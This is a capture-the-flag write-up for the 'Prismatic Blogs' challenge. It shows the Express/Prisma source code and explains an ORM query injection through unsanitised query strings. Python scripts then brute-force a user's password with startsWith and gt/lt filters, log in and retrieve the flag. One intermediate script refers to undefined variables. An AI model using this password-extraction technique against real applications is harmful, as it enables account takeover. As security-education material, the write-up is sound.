Prismatic Blogs

Prismatic Blogs
  1. Source Code
  2. Exploitation

Source Code

Reading source code

Here is the application source code:

index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import express from "express";
import { PrismaClient } from "@prisma/client";

const app = express();
app.use(express.json())

const prisma = new PrismaClient();

const PORT = 3000;

app.get(
  "/api/posts",
  async (req, res) => {
    try {
      let query = req.query;
      query.published = true;
      let posts = await prisma.post.findMany({where: query});
      res.json({success: true, posts})
    } catch (error) {
      res.json({ success: false, error });
    }
  }
);

app.post(
    "/api/login",
    async (req, res) => {
        try {
            let {name, password} = req.body;
            let user = await prisma.user.findUnique({where:{
                    name: name
                },
                include:{
                    posts: true
                }
            });
            if (user.password === password) { 
                res.json({success: true, posts: user.posts});
            }
            else {
                res.json({success: false});
            }
        } catch (error) {
            res.json({success: false, error});
        }
    }
)

app.listen(PORT, () => {
    console.log(`Server is running on http://localhost:${PORT}`);
});
seed.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import { PrismaClient } from "@prisma/client";

const prisma = new PrismaClient();

const FLAG = process.env.FLAG || "uoftctf{FAKEFLAGFAKEFLAG}"

function generateString(length) {
    const characters ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    let result = '';
    const charactersLength = characters.length;
    for ( let i = 0; i < length; i++ ) {
        result += characters.charAt(Math.floor(Math.random() * charactersLength));
    }

    return result;
}

const USERS = [
    {
        name: "White",
        password: generateString(Math.floor(Math.random()*10)+15),
    },
    {
        name: "Bob",
        password: generateString(Math.floor(Math.random()*10)+15),
    },
    {
        name: "Tommy",
        password: generateString(Math.floor(Math.random()*10)+15),
    },
    {
        name: "Sam",
        password: generateString(Math.floor(Math.random()*10)+15),
    },
];

const NUM_USERS = USERS.length; 

// all chatGPT generated cause im lazy
const POSTS = [
    {
    title: `Why Cybersecurity is Everyone's Responsibility`,
    body: `In today's digital age, cybersecurity isn't just an IT concern—it's everyone's responsibility. From clicking suspicious links to using weak passwords, small mistakes can lead to big vulnerabilities. Simple habits like enabling two-factor authentication, updating software, and being mindful of phishing emails can protect not just yourself but your entire organization. Cybersecurity starts with awareness—how are you contributing to a safer digital world?`,
    authorId: Math.floor(Math.random()*NUM_USERS)+1,
    published: true
    },
    {
        title: `Boosting Productivity with Time Blocking`,
        body: `Struggling to get things done? Time blocking might be your answer. By dividing your day into focused chunks of work, you can minimize distractions and maximize efficiency. Start by identifying your most important tasks, assign specific time slots, and stick to them. Bonus tip: leave buffer time for unexpected interruptions. Time blocking isn’t just about scheduling—it’s about creating space for what truly matters.`,
        authorId: Math.floor(Math.random()*NUM_USERS)+1,
        published: true
    },
    {
        title: `3 Easy Tips to Save Energy at Home`,
        body: `Reducing your energy footprint doesn’t have to be complicated. Start small:

Switch to LED bulbs—they last longer and use less power.
Unplug electronics when not in use—they still draw power even when off.
Use a programmable thermostat to optimize heating and cooling.
These simple changes save money and help the planet—win-win!`,
        authorId: Math.floor(Math.random()*NUM_USERS)+1,
        published: true
    },
    {
        title: `How to Start Your Fitness Journey Today`,
        body: `Getting fit can feel overwhelming, but it doesn’t have to be. Start small: commit to a 10-minute walk daily or try a beginner-friendly workout video. Focus on consistency over intensity. Remember, progress takes time, so celebrate small wins along the way. Your future self will thank you for taking that first step today!`,
        authorId: Math.floor(Math.random()*NUM_USERS)+1,
        published: true
    },
    {
        title: `The Magic of Morning Routines`,
        body: `What do successful people have in common? A solid morning routine. Whether it’s journaling, meditating, or a quick workout, starting your day intentionally sets the tone for productivity and positivity. Don’t overthink it—pick one activity that energizes you and stick with it. Mornings are your power hour; how will you use yours?`,
        authorId: Math.floor(Math.random()*NUM_USERS)+1,
        published: true
    },
    {
        title: `5 Quick Ways to Declutter Your Space`,
        body: `A cluttered space can lead to a cluttered mind. Here’s how to simplify:

Apply the “one in, one out” rule for new purchases.
Dedicate 10 minutes a day to tidying up.
Donate items you haven’t used in a year.
Invest in smart storage solutions.
Remember: less is more.
Decluttering isn’t just about cleaning—it’s about creating a space that inspires calm and focus.`,
        authorId: Math.floor(Math.random()*NUM_USERS)+1,
        published: true
    },
    {
        title: `Why Soft Skills Are the Secret to Career Growth`,
        body: `Technical skills may get your foot in the door, but soft skills will take you further. Communication, adaptability, and emotional intelligence are increasingly valued in today’s workplace. Why? Because they foster collaboration and help you navigate challenges effectively. Want to stand out in your career? Work on your soft skills—they’re just as crucial as hard ones.`,
        authorId: Math.floor(Math.random()*NUM_USERS)+1,
        published: true
    },
    {
        title: `3 Reasons You Should Start Journaling`,
        body: `Feeling overwhelmed? Journaling might be the outlet you need. It helps you:

Clarify your thoughts and emotions.
Track personal growth and progress.
Spark creativity by putting ideas to paper.
You don’t need fancy notebooks or hours of time—just a few minutes a day can make a big difference. Start writing and see where it takes you!`,
        authorId: Math.floor(Math.random()*NUM_USERS)+1,
        published: true
    },
    {
        title: `How to Beat Procrastination for Good`,
        body: `Procrastination affects us all, but overcoming it is possible. Start by breaking tasks into smaller, manageable chunks. Use techniques like the Pomodoro timer to stay focused, and reward yourself for completing milestones. Most importantly, don’t aim for perfection—progress is what counts. The best time to start? Right now.`,
        authorId: Math.floor(Math.random()*NUM_USERS)+1,
        published: true
    },
    {
        title: `The Future of Remote Work`,
        body: `The shift to remote work has changed the way we view the workplace. Flexibility and work-life balance are now top priorities for employees, while companies are investing in tools to keep teams connected. But with this freedom comes challenges—like maintaining productivity and avoiding burnout. The future of work is hybrid, but how can we make it truly sustainable for everyone?`,
        authorId: Math.floor(Math.random()*NUM_USERS)+1,
        published: true
    },
    {
        title: `The Flag`,
        body: `This is a secret blog I am still working on. The secret keyword for this blog is ${FLAG}`,
        authorId: Math.floor(Math.random()*NUM_USERS)+1,
        published: false
    }
];

(async () => {
    await prisma.user.createMany({data: USERS});
    await prisma.post.createMany({data: POSTS});
})();
schema.prisma
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
datasource db {
  provider = "sqlite"
  url      = "file:./database.db"
}

generator client {
  provider = "prisma-client-js"
}

model User {
  id        Int      @id @default(autoincrement())
  createdAt DateTime @default(now())
  name      String   @unique
  password  String
  posts     Post[]
}

model Post {
  id        Int      @id @default(autoincrement())
  createdAt DateTime @default(now())
  updatedAt DateTime @updatedAt
  published Boolean  @default(false)
  title     String   
  body      String
  author    User    @relation(fields: [authorId], references: [id])
  authorId  Int
}

Interesting Points

After reading the source I noticed some interesting things:

  1. Seed.js:
    • There are 4 users (White, Bob, Tommy and Sam) with random generated passwords
    • We have the set of character used to make their passwords
    • Flag is a private post of random(White, Bob, Tommy, Sam)
  2. Index.js:
    • Our query is directly passed to Prisma without sanitization in /api/posts
    • Only 2 routes (/api/posts and /api/login)
    • You can see all posts (EXCEPT unpublished ones) in /api/posts
    • You can see all posts (EVEN unpublished ones) written by the author after login in /api/login

So we can either:

  • Try to “hack” the SQL query to display unpublished posts
  • Try to “hack” the accounts to login and see their posts

Identifying vulnerabilities

I started by looking at the /api/posts code to look for vulnerabilities in the SQL query. This part is interesting:

1
2
3
4
5
let query = req.query;
query.published = true;
let posts = await prisma.post.findMany({where: query});

res.json({success: true, posts})

Our query is taken, then the published parameter is passed to true, so in the SQL query a WHERE published = true will be added. I tried googling around, but it seems that we can’t bypass that to display the flag …

BUT there’s still a problem ! The user query is directly passed to prisma without any sanitization. It means that we can send JSON through the URL to trick the ORM ! After reading the prisma doc I made this url:

  • http://TARGET_URL/api/posts?author[name]=Bob

The query string will be translated to this JSON:

1
2
3
"author": {
    "name": "Bob"
}

So JavaScript will execute this ORM request:

1
2
3
4
5
6
let posts = await prisma.post.findMany({ where: {
    "author": {
        "name": "Bob"
    },
    "published": true
}});

We basically have control over the where condition, we can put whatever we want in it !

image We can show posts associated to Bob for example !

Exploitation

Exploiting the vulnerability

Ok but what next ?

Reading the Prisma doc I found a lot of interesting operators that we could use. We know (from the Schema.prisma) that each post is associated with a user (the author), and that this user have a password. We could simply try to exfiltrate this password from the posts table by taking the author, then grabbing it’s password. Let’s use the startsWith operator for example:

  • http://TARGET_URL/api/posts?author[name]=Bob&author[password][startsWith]=a

That’ll be translated to:

1
2
3
4
5
6
"author": {
    "name": "Bob",
    "password": {
        "startsWith": "a"
    }
}

resulting in this Prisma query:

1
2
3
4
5
6
7
8
9
10
11
let posts = await prisma.post.findMany({ 
    where: {
        author: {
            name: "Bob",
            password: {
                startsWith: "a"
            }
        },
        "published": true
    }
});

!image

As you can see, nothing is returned, that means that the Bob’s password don’t start with a. I tried b, c, d … And got a hit with 8, meaning that Bob’s password starts with 8 !

image

So now we can try 8a, 8b, 8c and so on … Let’s automate this with python.

Scripting (case unsensitive)

So I wrote this simple script

brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from requests import get
from pwn import log 

# Set of character used (read the seeder.js file)
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
# One of the four users
username="Bob"
passw = ""

# We know that the password is maximum 24 char (see seed.js)
for i in range(24):
    # Go through every possible char of the set of character
    for char in chars:
        # Make the url
        url = f"http://TARGET_URL/api/posts?author[name]={username}&author[password][startsWith]={passw+char}" 
        req = get(url)

        log.info(f"trying : {passw+char}")

        # If something is returned, that means that it's the correct char
        if(len(str(req.json()["posts"])) > 10):
            passw += char
            log.success("FOUND: " + passw)
            break
    else:
        log.success("FINAL: " + passw)

I launched the script, waited a bit … image

After a few minutes (yes my network is that bad …) the script told me “Bob’s password is 8AXCGMISH5ZN59RSXJM”. So let’s try to login to the /api/login endpoint with it:

image

Did you noticed something ? There is no lowercases in our password. So I guess the startsWith and endsWith are case-insensitive. Let’s try a different operator:

image

When I put equals, it doesn’t return anything ! So I guess equals is case-sensitive as well as the /api/login endpoint ! We need to find a way to detect if each character is lowercase or uppercase, but how ?

Scripting (case sensitive)

Fortunately we can put whatever we want in the were clause cause there is no sanitization… So basically we have an SQL query with WHERE X AND published=true and the X is entirely controlled by us ! And fortunately, prisma comes with a ton of operator. To mitigate the case-insne… insin… The case that is not sensitive problem, we can use the gt (greater than) and lt (lower than) operators:

Using this request we can test wether the character is lowercase or uppercase:

  • http://TARGET_URL/api/posts?author[name]=Bob&author[password][gt]=8a&author[password][lt]=8z

That will be converted to

1
2
3
4
5
6
7
"author": {
    "name": "Bob",
    "password": {
        "gt": "8a",
        "lt": "8z"
    }
}

Let’s take a look: image Check if the character is between a and z (check if the character is lowercase)

image Check if the character is between A and Z (check is the character is uppercase)

As you can see the second request returns something, that means that the z character is between A and Z. Therefore, it’s uppercase. We can repeat the operation for every character. So I scripted it:

gather_case_sensitivity_test.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from requests import get
from pwn import log 

log.warning("Gathering case sensitivity")
passw = "8AXCGMISH5ZN59RSXJM"
username = "Bob"

to_test = ""
for char in passw:
    if(char in numbers):
        to_test += char
        continue

    is_lower_url = f"http://TARGET_URL/api/posts?author[name]={username}&author[password][gt]={to_test}a&author[password][lt]={to_test}z"

    log.info(f"trying : {to_test}")

    is_lower = get(is_lower_url)

    if(len(str(is_uppercase.json()["posts"])) > 10):
        to_test += char.lower()
    else:
        to_test += char.upper()

log.success("Password with correct case is: " + to_test)

Launch it: image

Looks like our technique is working !

Getting the flag

Here is the final version of the script:

exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from requests import get, post
from sys import argv
from pwn import log
import re

if(len(argv) != 2):
    log.critical(f"Usage: {argv[0]} <USERNAME>")
    exit()

# Set of character used (read the seeder.js file)
# But since it's case unsensitive we don't have to check for a and A b and B ...
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
numbers = "0123456789"

# The username to attack four users
username = argv[1]
passw = ""

log.warning("Gathering password WITHOUT case-sensitivity")

p = log.progress('Bruteforcing (case-unsensitive)')

# We know that the password is maximum 24 char (see seeder.js)
for i in range(24):
    # Go through every possible char of the set of character
    for char in chars:
    
    	# Make & Request the url
        url = f"http://35.239.207.1:3000/api/posts?author[name]={username}&author[password][startsWith]={passw+char}" 
        req = get(url)    
    
    	p.status(f"trying : {passw+char}")
    	# If something is returned, that means that it's the correct char
        if(len(str(req.json()["posts"])) > 10):
            passw += char
            break
    else:
        log.success("FINAL (CASE-UNSENSITIVE): " + passw)
        p.status(f"trying : {passw}")
        break


log.info("Gathering case ...")

p = log.progress('Identifying case')
to_test = ""
for char in passw:
    if(char in numbers):
        to_test += char
        continue

    is_lower_url = f"http://35.239.207.1:3000/api/posts?author[name]={username}&author[password][gt]={to_test}a&author[password][lt]={to_test}z"
    is_lower = get(is_lower_url)

    p.status(f"trying : {to_test}")


    if(len(str(is_lower.json()["posts"])) > 10):
        to_test += char.lower()
    else:
        to_test += char.upper()

p.success("trying: " + to_test)
log.success("FINAL (CASE-SENSITIVE): " + passw)

log.info(f"searching flag in {username}'s posts")

# Login to the /api/login endpoint
res = post(
	url="http://35.239.207.1:3000/api/login", 
	headers={"Content-Type": "application/json"},
	json={"name": username, "password": to_test}
).text

# Grab the flag
if("The Flag" in res):
	print(re.findall("uoftctf{.*}", res)[0])

It takes a user in argument, search his case unsensitive password, search the case sensitive password, login as the user and search for The Flag post in his posts.

Tried it with White (first username in seedjs), but no flag was found. Then I tried it with Bob (second username in seedjs) aaaand:

image Let’s go !

1
uoftctf{u51n6_0rm5_d035_n07_m34n_1nj3c710n5_c4n7_h4pp3n}
This post is licensed under CC BY 4.0 by the author.